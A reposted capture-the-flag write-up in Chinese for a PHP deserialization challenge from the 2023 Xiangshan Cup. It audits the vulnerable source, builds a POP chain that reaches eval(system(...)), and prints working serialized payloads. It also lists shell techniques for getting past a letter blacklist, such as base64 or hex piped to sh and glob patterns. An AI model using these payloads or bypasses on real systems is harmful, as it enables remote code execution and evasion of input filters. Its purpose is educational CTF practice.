0


[wp]2023中山市第三届香山杯 web PHP_unserialize_pro

PHP_unserialize_pro

考点:

  1. 反序列化漏洞POP的构造
  2. eval()函数恶意php代码执行
  3. []通配的形式绕过黑名单字母

源代码:

  1. <?php
  2. error_reporting(0);
  3. class Welcome{
  4. public $name;
  5. public $arg = 'welcome';
  6. public function __construct(){
  7. $this->name = 'Wh0 4m I?';
  8. }
  9. public function __destruct(){
  10. if($this->name == 'A_G00d_H4ck3r'){
  11. echo $this->arg;
  12. }
  13. }
  14. }
  15. class G00d{
  16. public $shell;
  17. public $cmd;
  18. public function __invoke(){
  19. $shell = $this->shell;
  20. $cmd = $this->cmd;
  21. if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){
  22. die("U R A BAD GUY");
  23. }
  24. eval($shell($cmd));
  25. }
  26. }
  27. class H4ck3r{
  28. public $func;
  29. public function __toString(){
  30. $function = $this->func;
  31. $function();
  32. }
  33. }
  34. if(isset($_GET['data']))
  35. unserialize($_GET['data']);
  36. else
  37. highlight_file(__FILE__);
  38. ?>

代码审计:

先找出口函数:为eval() 然后执行eval()函数 就必须触发__invoke()魔术方法,

__invoke():当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

所以我们只要令H4ck3r类里面的$func = new G00d()就可以触发了,然后调用func函数就要触发__toString()魔术方法,

__toString():当一个对象被当作一个字符串时使用

所以我们就要调用Welcome里面的arg令它当成G00d()函数就行 然后就是触发__destruct()

条件就是要销毁一个对象 那就要创建对象 就触发了__construct()魔术方法

POP链:

__construct->__destruct()->__toString()->__invoke()

代码构造;

  1. <?php
  2. class Welcome
  3. {
  4. public $name = 'A_G00d_H4ck3r';
  5. public $arg = 'welcome';
  6. }
  7. class G00d
  8. {
  9. public $shell = 'system';
  10. public $cmd = 'dir /';
  11. }
  12. class H4ck3r
  13. {
  14. public $func;
  15. }
  16. $m = new Welcome();
  17. $m->arg = new H4ck3r();
  18. $m->arg->func = new G00d();
  19. echo serialize($m);

Payload:?data=O:7:"Welcome":2:{s:4:"name";s:13:"A_G00d_H4ck3r";s:3:"arg";O:6:"H4ck3r":1:{s:4:"func";O:4:"G00d":2:{s:5:"shell";s:6:"system";s:3:"cmd";s:5:"dir /";}}}

发现f1ag 因为黑名单的限制 所有匹配flag字母都会被禁止 这里就采用通配符[]进行绕过

关于某个字母被ban的绕过方法

  1. 反斜线转义 cat fla\g.php

  2. 两个单引号做分隔 cat fl''ag.php

  3. base64编码绕过 echo Y2F0IGZsYWcucGhw | base64 -d | sh

  4. hex编码绕过 echo 63617420666c61672e706870 | xxd -r -p | bash

  5. glob通配符 cat f[k-m]ag.php cat f[l]ag.php

  6. ?和*

  7. cat f{k..m}ag.php

  8. 定义变量做拼接 a=g.php; cat fla$a

  9. 内联执行cat echo 666c61672e706870 | xxd -r -p 或 cat $(echo 666c61672e706870 | xxd -r -p) 或 echo 666c61672e706870 | xxd -r -p | xargs cat

所以最终paylo:

?data=O:7:"Welcome":2:{s:4:"name";s:13:"A_G00d_H4ck3r";s:3:"arg";O:6:"H4ck3r":1:{s:4:"func";O:4:"G00d":2:{s:5:"shell";s:6:"system";s:3:"cmd";s:22:"more /[b-z]1[@-z][b-z]";}}}

得到falg


本文转载自: https://blog.csdn.net/m0_63138919/article/details/133845646
版权归原作者 文大。 所有, 如有侵权,请联系我们删除。

“[wp]2023中山市第三届香山杯 web PHP_unserialize_pro”的评论:

还没有评论